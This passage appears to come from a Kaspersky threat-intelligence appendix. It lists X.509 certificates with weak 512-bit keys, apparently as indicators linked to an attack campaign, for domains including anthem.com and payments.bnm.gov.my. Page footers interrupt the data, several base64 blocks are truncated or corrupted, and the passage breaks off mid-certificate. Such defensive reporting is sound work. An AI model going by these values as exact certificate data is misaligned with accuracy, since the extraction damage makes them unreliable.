MIICgzCCAeygAwIBAgIDKoW9MA0GCSqGSIb3DQEBBQUAMGMxCzAJBgNVBAYTAk1Z MRswGQYDVQQKExJEaWdpY2VydCBTZG4uIEJoZC4xETAPBgNVBAsTCDQ1NzYwOC1L MSQwIgYDVQQDExtEaWdpc2lnbiBTZXJ2ZXIgSUQgKEVucmljaCkwHhcNMTAwMzI5 MDQyNjIxWhcNMTIwMzI5MDQyNjIxWjBhMQswCQYDVQQGEwJNWTEbMBkGA1UEChMS RGlnaWNlcnQgU2RuLiBCaGQuMR4wHAYDVQQDExVtY3JzMi5kaWdpY2VydC5jb20u bXkxFTATBgNVBAcTDEt1YWxhIEx1bXB1cjBcMA0GCSqGSIb3DQEBAQUAA0sAMEgC QQDC9oE9Z5yKkyJvwcphezRQLZ56gJHiMK73VmXSfVZqL4NEBd5mwvupUx623PY Jkl2K0/8Tqod4Vci1QvN1dppAgMBAAGjgYowgYcwEQYDVR0OBAoECELAcYi/ewCT MEQGA1UdIAQ9MDswOQYFYINKAQEwMDAuBggrBgEFBQcCARYiaHR0cDovL3d3dy5k aWdpY2VydC5jb20ubXkvY3BzLmh0bTAfBgNVHSMEGDAWgBTGFpNOFhfsFq6MlHbz hm3FdG6EdzALBgNVHQ8EBAMCBPAwDQYJKoZIhvcNAQEFBQADgYEAOezUa/Ln1Ede WW6/g1l7MhfLTjfnLVxE6mgIlOlHM8vizK3HzCjxB6ea9vhVdsQxcpjjEVuq1db/ mVJpYUiRMd//0znw0ZQpVVtu0dct2nzvbqQQ/bQiS55BhfZjtucQXIgeBCA2SCL1 uqSMJNOBeMHB08mMuqVi5uOo6OQh1XI END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 21665 (0x54a1) Signature Algorithm: md5WithRSAEncryption Issuer: CUS, OEquifax Secure Inc., CNEquifax Secure eBusiness CA1 Validity 41 TLP: Green For any inquiries, please contact intelreportskaspersky.com Not Before: Jun 14 15:26:42 2006 GMT Not After : Jul 14 15:26:42 2008 GMT Subject: CUS, Owww.gccustomservices.com, OUbusinessprofile.geotrust.com/get.jsp?GT30320107, OUSee www.rapidssl.com/cps (c)05, OUDomain Control Validated RapidSSL(R), CNwww.gccustomservices.com Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:cb:1f:b0:21:9c:37:a2:39:75:02:b5:12:dc:bb: f5:7a:f7:93:65:0d:f8:6c:36:68:0a:06:19:49:77: da:68:9e:ea:eb:39:d4:16:49:6d:14:c0:c9:6f:53: c5:ec:a8:6b:60:ca:c3:a4:5b:3b:1a:93:1d:1f:3c: d8:26:d5:6e:23 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Key Usage: critical Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment X509v3 CRL Distribution Points: Full Name: URI:http://crl.geotrust.com/crls/ebizca1.crl X509v3 Authority Key Identifier: keyid:4A:78:32:52:11:DB:59:16:36:5E:DF:C1:14:36:40:6 A:47:7C:4C:A1 Signature Algorithm: md5WithRSAEncryption 99:a5:16:0b:3e:3d:d1:a4:36:dc:09:c5:22:12:d9:cf:c5:76: 89:4a:7b:27:be:2d:d6:53:2b:6b:a4:da:0b:f3:f5:bf:72:cc: 11:1c:5c:a1:a3:ef:78:83:4d:01:a6:a0:e6:d8:91:2c:6c:ce: 83:d8:be:fe:a1:14:c9:b4:ac:fc:be:8e:c3:75:1d:6a:6a:43: 5a:a5:1c:3b:eb:aa:f4:f3:36:bc:34:63:72:2a:d8:c5:97:b6: a3:aa:54:91:5e:3f:3c:48:36:3c:51:37:c0:55:28:f1:a4:8f: ea:df:e5:2f:b2:62:bd:33:20:6a:4a:57:66:00:89:21:c4:68: d5:e2 BEGIN CERTIFICATE MIIC3DCCAkWgAwIBAgICVKEwDQYJKoZIhvcNAQEEBQAwUzELMAkGA1UEBhMCVVMx HDAaBgNVBAoTE0VxdWlmYXggU2VjdXJlIEluYy4xJjAkBgNVBAMTHUVxdWlmYXgg U2VjdXJlIGVCdXNpbmVzcyBDQS0xMB4XDTA2MDYxNDE1MjY0MloXDTA4MDcxNDE1 42 TLP: Green For any inquiries, please contact intelreportskaspersky.com MjY0MlowgecxCzAJBgNVBAYTAlVTMSEwHwYDVQQKExh3d3cuZ2NjdXN0b21zZXJ2 aWNlcy5jb20xODA2BgNVBAsTL2J1c2luZXNzcHJvZmlsZS5nZW90cnVzdC5jb20v Z2V0LmpzcD9HVDMwMzIwMTA3MScwJQYDVQQLEx5TZWUgd3d3LnJhcGlkc3NsLmNv bS9jcHMgKGMpMDUxLzAtBgNVBAsTJkRvbWFpbiBDb250cm9sIFZhbGlkYXRlZCAt IFJhcGlkU1NMKFIpMSEwHwYDVQQDExh3d3cuZ2NjdXN0b21zZXJ2aWNlcy5jb20w XDANBgkqhkiG9w0BAQEFAANLADBIAkEAyxwIZw3ojl1ArUS3Lv1eveTZQ34bDZo CgYZSXfaaJ7q6znUFkltFMDJb1PF7KhrYMrDpFs7GpMdHzzYJtVuIwIDAQABo24w bDAOBgNVHQ8BAf8EBAMCBPAwOQYDVR0fBDIwMDAuoCygKoYoaHR0cDovL2NybC5n ZW90cnVzdC5jb20vY3Jscy9lYml6Y2ExLmNybDAfBgNVHSMEGDAWgBRKeDJSEdtZ FjZe38EUNkBqR3xMoTANBgkqhkiG9w0BAQQFAAOBgQCZpRYLPj3RpDbcCcUiEtnP xXaJSnsnvi3WUytrpNoL8/W/cswRHFyho94g00BpqDm2JEsbM6D2L7oRTJtKz8 vo7DdR1qakNapRw766r08za8NGNyKtjFl7ajqlSRXj88SDY8UTfAVSjxpI/q3Uv smK9MyBqSldmAIkhxGjV4g END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 27455 (0x6b3f) Signature Algorithm: sha1WithRSAEncryption Issuer: CDE, OTSystems Enterprise Services GmbH, OUTrust Center Deutsche Telekom, CNDeutsche Telekom CA 5 Validity Not Before: Oct 20 06:55:03 2008 GMT Not After : Oct 25 06:55:03 2009 GMT Subject: OAIC GmbH, OUAIC Certificate Service C06, LSindelfingen, STBAW, CDE, CNwww.kuechentraum24.de Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:b7:92:e8:ac:bd:17:b8:20:35:53:82:2a:c4:c9: f8:b5:a5:c0:fc:c0:43:f9:c5:79:5c:43:f4:58:22: 6f:c4:db:c1:d2:a9:45:31:33:1e:da:73:da:7b:5a: ea:2e:80:eb:30:80:fc:58:1e:1e:89:b2:15:1b:fc: bc:f2:45:4d:ff Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Authority Key Identifier: 43 TLP: Green For any inquiries, please contact intelreportskaspersky.com keyid:B3:F5:5F:A6:02:3C:23:10:5B:71:A1:7C:B3:A7:40:8 5:A8:85:26:B8 X509v3 Key Usage: critical Digital Signature, Key Encipherment X509v3 Subject Key Identifier: 80:B5:D5:2B:3F:F9:B6:18:91:23:AE:A9:27:5B:20:D4:9E: 02:E9:A7 X509v3 Certificate Policies: Policy: 1.3.6.1.4.1.7879.13.2 CPS: http://wwwca.telesec.de/Pub_Cert/ServPass/cps/ CPS_ServerPass_V34.pdf X509v3 CRL Distribution Points: Full Name: URI:http://wwwca.telesec.de/cgibin/ Pub_Cert/ServPass/DwnloadCRL.crl?issuer_ dnDeutsch e_Telekom_CA_5 Full Name: URI:ldap://ldapserverpass. telesec.de/cnDeutsche20Telekom20 CA205,ouTrust20Center20Deutsche20 Telekom,oTSystems20Enterprise20Services20 GmbH,cde?certificateRevocationlist?ba- se?certificateRevocationlist X509v3 Basic Constraints: critical CA:FALSE X509v3 Subject Alternative Name: DNS:www.kuechentraum24.de Signature Algorithm: sha1WithRSAEncryption b6:bc:98:3d:6c:44:95:50:c1:06:94:71:b1:05:2d:99:85:e3: db:6e:39:58:fd:f0:45:1c:0d:3c:b3:45:33:e9:66:fd:99:f0: b9:c0:98:8a:af:01:f5:b4:66:a7:7e:11:8a:6c:71:09:b9:fa: 5e:66:fc:3d:03:13:f1:c6:79:7c:bb:c5:fb:b7:e5:6b:c8:e3: 92:7e:7d:fb:87:e0:7d:5e:3e:64:6e:df:27:52:85:d3:9b:71: 93:84:2b:38:d1:4b:10:fc:23:e2:ae:7a:cb:a7:01:d1:c5:30: 05:76:2d:26:f5:9f:b9:5b:8c:e7:3b:3c:2d:fb:a9:10:61:40: 2e:da:45:75:c2:c3:d1:20:8d:da:f3:72:3f:5c:7d:bd:e1:86: d3:43:9d:81:71:84:09:2f:13:af:e1:cb:55:c2:0d:a4:3c:d3: f7:f2:eb:12:22:96:a7:5d:0b:ff:b3:9f:fa:f6:cf:a3:19:82: 93:dc:ab:a7:fe:76:10:ff:5e:32:00:d7:69:1a:a1:e6:2a:e2: 44 TLP: Green For any inquiries, please contact intelreportskaspersky.com 31:63:d6:14:f6:69:17:d4:bc:e2:68:c9:76:71:82:14:5f:a8: 88:f7:e2:3d:10:50:da:aa:97:96:08:f8:33:18:d2:1a:93:4f: 5c:58:fc:c0:05:e0:31:f2:59:cf:5e:2e:f5:6a:1f:6c:0f:fa: 34:0b:2c:c9 BEGIN CERTIFICATE MIIFDTCCA/WgAwIBAgICaz8wDQYJKoZIhvcNAQEFBQAwgYIxCzAJBgNVBAYTAkRF MSswKQYDVQQKEyJULVN5c3RlbXMgRW50ZXJwcmlzZSBTZXJ2aWNlcyBHbWJIMSYw JAYDVQQLEx1UcnVzdCBDZW50ZXIgRGV1dHNjaGUgVGVsZWtvbTEeMBwGA1UEAxMV RGV1dHNjaGUgVGVsZWtvbSBDQSA1MB4XDTA4MTAyMDA2NTUwM1oXDTA5MTAyNTA2 NTUwM1owgYsxETAPBgNVBAoTCEFJQyBHbWJIMSQwIgYDVQQLExtBSUMgQ2VydGlm aWNhdGUgU2VydmljZSBDMDYxFTATBgNVBAcTDFNpbmRlbGZpbmdlbjEMMAoGA1UE CBMDQkFXMQswCQYDVQQGEwJERTEeMBwGA1UEAxMVd3d3Lmt1ZWNoZW50cmF1bTI0 LmRlMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALeS6Ky9F7ggNVOCKsTJLWlwPzA Q/nFeVxD9Fgib8TbwdKpRTEzHtpz2nta6i6A6zCA/FgeHomyFRv8vPJFTf8CAwEA AaOCAkgwggJEMB8GA1UdIwQYMBaAFLP1X6YCPCMQW3GhfLOnQIWohSa4MA4GA1Ud DwEB/wQEAwIFoDAdBgNVHQ4EFgQUgLXVKz/5thiRI66pJ1sg1J4C6acwagYDVR0g BGMwYTBfBgkrBgEEAb1HDQIwUjBQBggrBgEFBQcCARZEaHR0cDovL3d3d2NhLnRl bGVzZWMuZGUvUHViX0NlcnQvU2VydlBhc3MvY3BzL0NQU19TZXJ2ZXJQYXNzX1Yz NC5wZGYwggFUBgNVHR8EggFLMIIBRzBnoGWgY4ZhaHR0cDovL3d3d2NhLnRlbGVz ZWMuZGUvY2dpLWJpbi9QdWJfQ2VydC9TZXJ2UGFzcy9Ed25sb2FkQ1JMLmNybD8t aXNzdWVyX2RuPURldXRzY2hlX1RlbGVrb21fQ0FfNTCB26CB2KCB1YaB0mxkYXA6 Ly9sZGFwLXNlcnZlcnBhc3MudGVsZXNlYy5kZS9jbj1EZXV0c2NoZSUyMFRlbGVr b20lMjBDQSUyMDUsb3U9VHJ1c3QlMjBDZW50ZXIlMjBEZXV0c2NoZSUyMFRlbGVr b20sbz1ULVN5c3RlbXMlMjBFbnRlcnByaXNlJTIwU2VydmljZXMlMjBHbWJILGM9 ZGU/Y2VydGlmaWNhdGVSZXZvY2F0aW9ubGlzdD9iYXNlP2NlcnRpZmljYXRlUmV2 b2NhdGlvbmxpc3Q9KjAMBgNVHRMBAf8EAjAAMCAGA1UdEQQZMBeCFXd3dy5rdWVj aGVudHJhdW0yNC5kZTANBgkqhkiG9w0BAQUFAAOCAQEAtryYPWxElVDBBpRxsQUt mYXj2245WP3wRRwNPLNFMlm/ZnwucCYiq8B9bRmp34RimxxCbn6Xmb8PQMT8cZ5 fLvF7fla8jjkn594fgfV4ZG7fJ1KF05txk4QrONFLEPwj4q56y6cB0cUwBXYt JvWfuVuM5zs8LfupEGFALtpFdcLD0SCN2vNyP1x9veGG00OdgXGECS8TrHLVcIN pDzT9/LrEiKWp10L/7OfvbPoxmCk9yrp/52EP9eMgDXaRqh5iriMWPWFPZpF9S8 4mjJdnGCFFoiPfiPRBQ2qqXlgj4MxjSGpNPXFj8wAXgMfJZz14u9WofbA/6NAss yQ END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 27585 (0x6bc1) 45 TLP: Green For any inquiries, please contact intelreportskaspersky.com Signature Algorithm: sha1WithRSAEncryption Issuer: CUS, OAnthem Inc, OUEcommerce, CNAnthem Inc Certificate Authority Validity Not Before: Jan 13 19:01:43 2010 GMT Not After : Jan 13 19:01:43 2011 GMT Subject: CUS, STIndiana, LIndianapolis, OAnthem Companies Inc, OUAIT, CNwww18.anthem.com Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:a0:66:16:2a:3f:32:86:a5:e7:75:1a:3d:02:0a: 4c:04:ed:af:8b:92:e0:70:8f:54:64:c7:4d:18:ee: 51:97:2f:00:39:44:fc:6f:f6:63:9c:65:47:64:7b: 73:43:4a:85:2b:db:f6:f1:79:02:50:73:05:15:73: f8:64:0d:b4:b7 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: critical CA:FALSE X509v3 Subject Alternative Name: email:DLAITMiddlewareanthem.com X509v3 Key Usage: critical Key Encipherment X509v3 Authority Key Identifier: keyid:FA:1A:DC:3E:5D:A6:B5:FD:FA:5F:6C:CB:28:40:D3:E 0:97:A2:AA:AC DirName:/CUS/OGTE Corporation/OUGTE CyberTrust Solutions, Inc./CNGTE CyberTrust Global Root serial:07:27:16:11 X509v3 Subject Key Identifier: 06:EC:C3:75:99:AA:67:1E:13:4A:B7:DD:83:8A:5B:86:E3: 8E:F9:DD Signature Algorithm: sha1WithRSAEncryption 6c:0d:f7:59:c5:48:2d:c4:81:f5:be:8b:87:0b:fe:94:2d:3c: e4:c1:8f:ad:88:41:7f:9b:71:f6:56:8d:70:ba:ff:20:c7:6d: 8d:52:28:0a:8f:cc:04:82:45:72:1e:0e:9f:43:7d:af:da:f3: 07:34:b2:3a:97:5e:b4:44:31:4b:21:80:ec:ce:02:98:30:59: 46 TLP: Green For any inquiries, please contact intelreportskaspersky.com dc:87:73:90:99:d1:79:ca:d8:bd:aa:cd:34:65:e2:c1:1f:78: c2:da:69:60:3a:ca:0b:6b:6e:dd:80:6d:fd:20:09:85:88:2c: 9a:40:7c:fb:7d:78:ca:3e:c6:bf:81:3a:6a:09:e9:d9:c5:e8: 57:e9:94:a2:8a:f8:c8:1f:0e:84:9b:d1:77:5a:80:b6:c3:13: ca:86:0a:9b:78:a0:9f:83:84:06:eb:8d:d1:17:50:78:68:b0: bb:99:2a:50:f7:44:92:4e:3a:ca:63:48:aa:5e:30:1b:12:89: b7:1d:f3:a7:4a:02:cc:da:2f:fc:e6:47:57:07:b1:33:f0:bf: 7f:6e:26:59:62:ec:66:b8:1f:a6:09:65:7c:db:e4:c2:09:d2: 97:e7:15:e4:34:a8:d6:f3:d2:3a:f9:20:6a:a0:a1:af:93:1b: ea:8c:ea:a5:2a:26:da:a0:73:ed:ed:67:f6:53:a0:84:a1:0c: 31:ff:d8:08 BEGIN CERTIFICATE MIIDpDCCAoygAwIBAgICa8EwDQYJKoZIhvcNAQEFBQAwYTELMAkGA1UEBhMCVVMx EzARBgNVBAoTCkFudGhlbSBJbmMxEjAQBgNVBAsTCUVjb21tZXJjZTEpMCcGA1UE AxMgQW50aGVtIEluYyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMTAwMTEzMTkw MTQzWhcNMTEwMTEzMTkwMTQzWjBMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHSW5k aWFuYTEVMBMGA1UEBxMMSW5kaWFuYXBvbGlzMR0wGwYDVQQKExRBbnRoZW0gQ29t cGFuaWVzIEluYzEMMAoGA1UECxMDQUlUMRkwFwYDVQQDExB3d3cxOC5hbnRoZW0u Y29tMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKBmFio/Moal53UaPQIKTATtr4uS 4HCPVGTHTRjuUZcvADlE/G/2Y5xlR2R7c0NKhSvb9vF5AlBzBRVzGQNtLcCAwEA AaOCAQ8wggELMAwGA1UdEwEB/wQCMAAwJwYDVR0RBCAwHoEcREwtQUlULU1pZGRs ZXdhcmVAYW50aGVtLmNvbTAOBgNVHQ8BAf8EBAMCBSAwgaIGA1UdIwSBmjCBl4AU hrcPl2mtf36X2zLKEDT4JeiqqyheaR3MHUxCzAJBgNVBAYTAlVTMRgwFgYDVQQK Ew9HVEUgQ29ycG9yYXRpb24xJzAlBgNVBAsTHkdURSBDeWJlclRydXN0IFNvbHV0 aW9ucywgSW5jLjEjMCEGA1UEAxMaR1RFIEN5YmVyVHJ1c3QgR2xvYmFsIFJvb3SC BAcnFhEwHQYDVR0OBBYEFAbsw3WZqmceE0q33YOKW4bjjvndMA0GCSqGSIb3DQEB BQUAA4IBAQBsDfdZxUgtxIH1vouHC/6ULTzkwYtiEF/m3H2Vo1wuv8gx22NUigK j8wEgkVyHg6fQ32v2vMHNLI6l160RDFLIYDszgKYMFnch3OQmdF5yti9qs00ZeLB H3jC2mlgOsoLa27dgG39IAmFiCyaQHz7fXjKPsa/gTpqCenZxehX6ZSiivjIHw6E m9F3WoC2wxPKhgqbeKCfg4QG643RF1B4aLC7mSpQ90SSTjrKY0iqXjAbEom3HfOn SgLM2i/85kdXB7Ez8L9/biZZYuxmuBmCWV82TCCdKX5xXkNKjW89I6SBqoKGv kxvqjOqlKibaoHPt7Wf2U6CEoQwx/9gI END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 2176345 (0x213559) Signature Algorithm: sha1WithRSAEncryption 47 TLP: Green For any inquiries, please contact intelreportskaspersky.com Issuer: CMY, ODigicert Sdn. Bhd., OU457608K, CNDigisign Server ID (Enrich) Validity Not Before: Dec 17 08:55:45 2008 GMT Not After : Dec 17 08:55:45 2010 GMT Subject: CMY, OJARING Communications Sdn. Bhd., OUJARING, CNwww.flexicorp.jaring.my, LW.Persekutuan/ emailAddresssysadminjaring.my, STKuala Lumpur Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:ed:61:d7:12:f3:94:1a:5f:d1:8b:28:35:b4:18: 38:d3:32:7b:7b:79:94:79:64:3d:db:bd:ad:f2:ff: 6c:61:fd:43:05:c1:f8:41:95:de:01:c2:ca:98:65: d6:9f:bc:21:5c:35:76:9f:ff:3a:62:88:7b:32:21: 94:52:e1:46:ef Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Subject Key Identifier: 46:B9:8C:9E:2E:F7:69:2F X509v3 Certificate Policies: Policy: 2.16.458.1.1 CPS: http://www.digicert.com.my/cps.htm X509v3 Authority Key Identifier: keyid:C6:16:93:4E:16:17:EC:16:AE:8C:94:76:F3:86:6D:C 5:74:6E:84:77 X509v3 Key Usage: Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment Signature Algorithm: sha1WithRSAEncryption 7b:15:12:93:d0:13:c8:91:f1:18:a9:76:bb:87:b4:44:aa:77: 27:05:a6:5b:95:6c:c0:6f:c5:94:7d:33:94:d3:6e:12:6f:dd: 90:12:18:e9:a6:48:cb:d8:a4:8a:a4:68:70:92:32:fd:d8:7c: 00:9c:db:de:7e:dd:1e:41:b0:2e:4c:48:f0:73:85:79:a8:df: 68:45:41:97:01:06:b2:c4:9f:9d:04:6a:13:d4:6e:63:ec:bf: c9:00:82:f2:51:89:33:c0:3b:ba:4c:eb:8a:98:a3:28:34:30: 5d:ab:12:c6:71:cf:09:68:3d:47:6d:f2:c0:9e:41:44:83:7c: 0b:fe 48 TLP: Green For any inquiries, please contact intelreportskaspersky.com BEGIN CERTIFICATE MIIC3jCCAkegAwIBAgIDITVZMA0GCSqGSIb3DQEBBQUAMGMxCzAJBgNVBAYTAk1Z MRswGQYDVQQKExJEaWdpY2VydCBTZG4uIEJoZC4xETAPBgNVBAsTCDQ1NzYwOC1L MSQwIgYDVQQDExtEaWdpc2lnbiBTZXJ2ZXIgSUQgKEVucmljaCkwHhcNMDgxMjE3 MDg1NTQ1WhcNMTAxMjE3MDg1NTQ1WjCBuzELMAkGA1UEBhMCTVkxJzAlBgNVBAoT HkpBUklORyBDb21tdW5pY2F0aW9ucyBTZG4uQmhkLjEPMA0GA1UECxMGSkFSSU5H MSAwHgYDVQQDExd3d3cuZmxleGljb3JwLmphcmluZy5teTEWMBQGA1UEBxMNVy5Q ZXJzZWt1dHVhbjEhMB8GCSqGSIb3DQEJARYSc3lzYWRtaW5AamFyaW5nLm15MRUw EwYDVQQIEwxLdWFsYSBMdW1wdXIwXDANBgkqhkiG9w0BAQEFAANLADBIAkEA7WHX EvOUGl/Riyg1tBg40zJ7e3mUeWQ9272t8v9sYf1DBcH4QZXeAcLKmGXWn7whXDV2 n/86Yoh7MiGUUuFG7wIDAQABo4GKMIGHMBEGA1UdDgQKBAhGuYyeLvdpLzBEBgNV HSAEPTA7MDkGBWCDSgEBMDAwLgYIKwYBBQUHAgEWImh0dHA6Ly93d3cuZGlnaWNl cnQuY29tLm15L2Nwcy5odG0wHwYDVR0jBBgwFoAUxhaTThYX7BaujJR284ZtxXRu hHcwCwYDVR0PBAQDAgTwMA0GCSqGSIb3DQEBBQUAA4GBAHsVEpPQE8iR8RipdruH tESqdycFpluVbMBvxZR9M5TTbhJv3ZASGOmmSMvYpIqkaHCSMv3YfACc2953R5B sC5MSPBzhXmo32hFQZcBBrLEn50EahPUbmPsv8kAgvJRiTPAO7pM64qYoyg0MF2r EsZxzwloPUdt8sCeQUSDfAv END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 2674380 (0x28cecc) Signature Algorithm: sha1WithRSAEncryption Issuer: CMY, ODigicert Sdn. Bhd., OU457608K, CNDigisign Server ID (Enrich) Validity Not Before: Dec 7 08:02:08 2009 GMT Not After : Dec 7 08:02:08 2010 GMT Subject: CMY, OBANK NEGARA MALAYSIA, OUBANK NEGARA MALAYSIA, CNpayments.bnm.gov.my Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:a0:c6:99:f0:88:9a:1c:ee:f7:22:72:5e:bc:1f: 02:40:68:f6:95:54:36:75:56:b3:31:0b:0c:54:c3: 46:e9:39:ec:62:b4:83:61:2d:b1:ab:42:3b:a2:4f: 4b:98:bb:6c:37:a8:3d:98:26:c8:2d:5f:75:86:3f: b4:39:be:41:53 49 TLP: Green For any inquiries, please contact intelreportskaspersky.com Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Subject Key Identifier: 42:65:56:13:70:34:D0:63 X509v3 Certificate Policies: Policy: 2.16.458.1.1 CPS: http://www.digicert.com.my/cps.htm X509v3 Authority Key Identifier: keyid:C6:16:93:4E:16:17:EC:16:AE:8C:94:76:F3:86:6D:C 5:74:6E:84:77 X509v3 Key Usage: Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment Signature Algorithm: sha1WithRSAEncryption aa:32:37:ce:26:23:14:3e:dc:33:77:a6:bb:df:8d:f1:27:b1: 64:05:b3:9b:a3:5c:d7:63:e7:7b:bd:63:a4:a1:61:7c:d0:3c: 1e:c5:e6:a2:a9:01:6f:36:4a:44:de:50:f3:a0:53:d0:39:56: a8:b5:05:d0:24:42:b8:2e:d3:98:f3:0a:1a:94:29:73:eb:d2: 38:9b:a0:9f:9e:39:2d:52:10:57:4e:12:8e:72:2a:e3:87:80: f8:f2:16:5d:56:15:cc:ea:74:96:f4:ef:d1:2e:1b:70:f9:bb: ba:b9:2a:b1:4c:3d:38:51:10:e0:4e:8d:53:05:6b:88:a1:77: ab:a0 BEGIN CERTIFICATE MIICizCCAfSgAwIBAgIDKM7MMA0GCSqGSIb3DQEBBQUAMGMxCzAJBgNVBAYTAk1Z MRswGQYDVQQKExJEaWdpY2VydCBTZG4uIEJoZC4xETAPBgNVBAsTCDQ1NzYwOC1L MSQwIgYDVQQDExtEaWdpc2lnbiBTZXJ2ZXIgSUQgKEVucmljaCkwHhcNMDkxMjA3 MDgwMjA4WhcNMTAxMjA3MDgwMjA4WjBpMQswCQYDVQQGEwJNWTEdMBsGA1UEChMU QkFOSyBORUdBUkEgTUFMQVlTSUExHTAbBgNVBAsTFEJBTksgTkVHQVJBIE1BTEFZ U0lBMRwwGgYDVQQDExNwYXltZW50cy5ibm0uZ292Lm15MFwwDQYJKoZIhvcNAQEB BQADSwAwSAJBAKDGmfCImhzu9yJyXrwfAkBo9pVUNnVWszELDFTDRuk57GK0g2Et satCO6JPS5i7bDeoPZgmyC1fdYY/tDmQVMCAwEAAaOBijCBhzARBgNVHQ4ECgQI QmVWE3A00GMwRAYDVR0gBD0wOzA5BgVgg0oBATAwMC4GCCsGAQUFBwIBFiJodHRw Oi8vd3d3LmRpZ2ljZXJ0LmNvbS5teS9jcHMuaHRtMB8GA1UdIwQYMBaAFMYWk04W FwWroyUdvOGbcV0boR3MAsGA1UdDwQEAwIE8DANBgkqhkiG9w0BAQUFAAOBgQCq MjfOJiMUPtwzd6a7343xJ7FkBbObo1zXYd7vWOkoWF80DwexeaiqQFvNkpE3lDz oFPQOVaotQXQJEK4LtOY8woalClz69I4m6CfnjktUhBXThKOcirjh4D48hZdVhXM 6nSW9O/RLhtwbu6uSqxTD04URDgTo1TBWuIoXeroA END CERTIFICATE 50 TLP: Green For any inquiries, please contact intelreportskaspersky.com Certificate: Data: Version: 3 (0x2) Serial Number: 01:00:00:00:00:01:1f:80:95:bf:76 Signature Algorithm: sha1WithRSAEncryption Issuer: OGlobalSign Inc, CNCybertrust SureServer CA Validity Not Before: Feb 16 18:44:52 2009 GMT Not After : Feb 16 18:44:52 2011 GMT Subject: CNambermms.syniverse.com, CUS/emailAddressbelinda.jablonskisyniverse.com, LTampa, OSyniverse Technologies Inc., OUCrossroads, STFlorida Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:a5:13:53:17:02:f7:cd:33:64:7d:e8:27:8f:e9: bc:ab:db:96:3b:41:0d:b6:c4:2a:10:d5:64:58:87: ac:62:de:09:2e:c5:5f:79:c5:d5:9e:26:9b:1a:9a: e3:99:3b:e2:2e:48:7e:9c:5f:74:c9:34:09:b3:a5: 40:7f:bb:e9:35 Exponent: 65537 (0x10001) X509v3 extensions: Netscape Cert Type: SSL Client, SSL Server X509v3 Key Usage: critical Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment X509v3 Authority Key Identifier: keyid:2B:37:53:93:64:47:66:23:4F:00:D3:F7:DD:E8:30:B 6:5B:84:89:23 X509v3 CRL Distribution Points: Full Name: URI:http://crl.globalsign.net/sureserver.crl X509v3 Basic Constraints: critical CA:FALSE Signature Algorithm: sha1WithRSAEncryption 11:6e:15:44:b0:d1:a9:98:61:27:c0:f2:28:ac:50:70:e6:63: 25:f2:75:ec:4d:30:fe:0a:34:ed:77:54:4a:d4:53:0f:60:d6: 51 TLP: Green For any inquiries, please contact intelreportskaspersky.com 45:8a:70:6f:5f:c8:c2:bd:8d:4d:6b:e2:f4:d6:43:cc:34:fe: ad:ba:b6:ec:cb:88:68:0d:38:ba:99:b9:18:73:c9:1d:05:97: 5e:95:43:c5:92:a9:00:f6:2f:4d:8c:51:09:bb:22:74:b4:9e: 34:96:d9:9c:82:d2:fb:2c:be:0c:29:4d:50:5f:a5:3c:1a:d5: 38:ca:d9:74:7a:81:c5:11:79:a4:4d:c6:23:81:14:2b:d3:b1: 46:18:b6:c0:e2:4a:97:b6:07:c3:d7:b6:77:51:d9:4f:05:21: 45:bb:b0:7c:4f:bc:6e:f6:72:62:22:28:1c:b0:06:70:02:2b: c5:11:b6:d0:c3:e0:ce:d7:81:ff:d6:c7:97:03:9d:87:68:b7: 3a:c4:53:18:bf:cc:e4:b3:7f:fc:6b:83:b1:35:04:c1:ee:ea: 42:d5:bf:c2:57:ff:18:a3:ce:52:a4:2c:92:2a:6f:b6:98:62: 45:98:96:76:90:80:32:b9:8c:fe:93:a8:86:e9:50:62:9a:a6: 11:52:1d:81:67:dc:84:ed:d8:e4:3d:a1:b7:0f:85:fd:b1:4b: 6f:bd:fe:3c BEGIN CERTIFICATE MIIDRjCCAi6gAwIBAgILAQAAAAABH4CVv3YwDQYJKoZIhvcNAQEFBQAwPDEXMBUG A1UEChMOR2xvYmFsU2lnbiBJbmMxITAfBgNVBAMTGEN5YmVydHJ1c3QgU3VyZVNl cnZlciBDQTAeFw0wOTAyMTYxODQ0NTJaFw0xMTAyMTYxODQ0NTJaMIG7MR8wHQYD VQQDExZhbWJlcm1tcy5zeW5pdmVyc2UuY29tMQswCQYDVQQGEwJVUzEuMCwGCSqG SIb3DQEJARYfYmVsaW5kYS5qYWJsb25za2lAc3luaXZlcnNlLmNvbTEOMAwGA1UE BxMFVGFtcGExJDAiBgNVBAoTG1N5bml2ZXJzZSBUZWNobm9sb2dpZXMgSW5jLjET MBEGA1UECxMKQ3Jvc3Nyb2FkczEQMA4GA1UECBMHRmxvcmlkYTBcMA0GCSqGSIb3 DQEBAQUAA0sAMEgCQQClE1MXAvfNM2R96CeP6byr25Y7QQ22xCoQ1WRYh6xi3gku xV95xdWeJpsamuOZOIuSH6cX3TJNAmzpUB/uk1AgMBAAGjgZAwgY0wEQYJYIZI AYb4QgEBBAQDAgbAMA4GA1UdDwEB/wQEAwIE8DAfBgNVHSMEGDAWgBQrN1OTZEdm 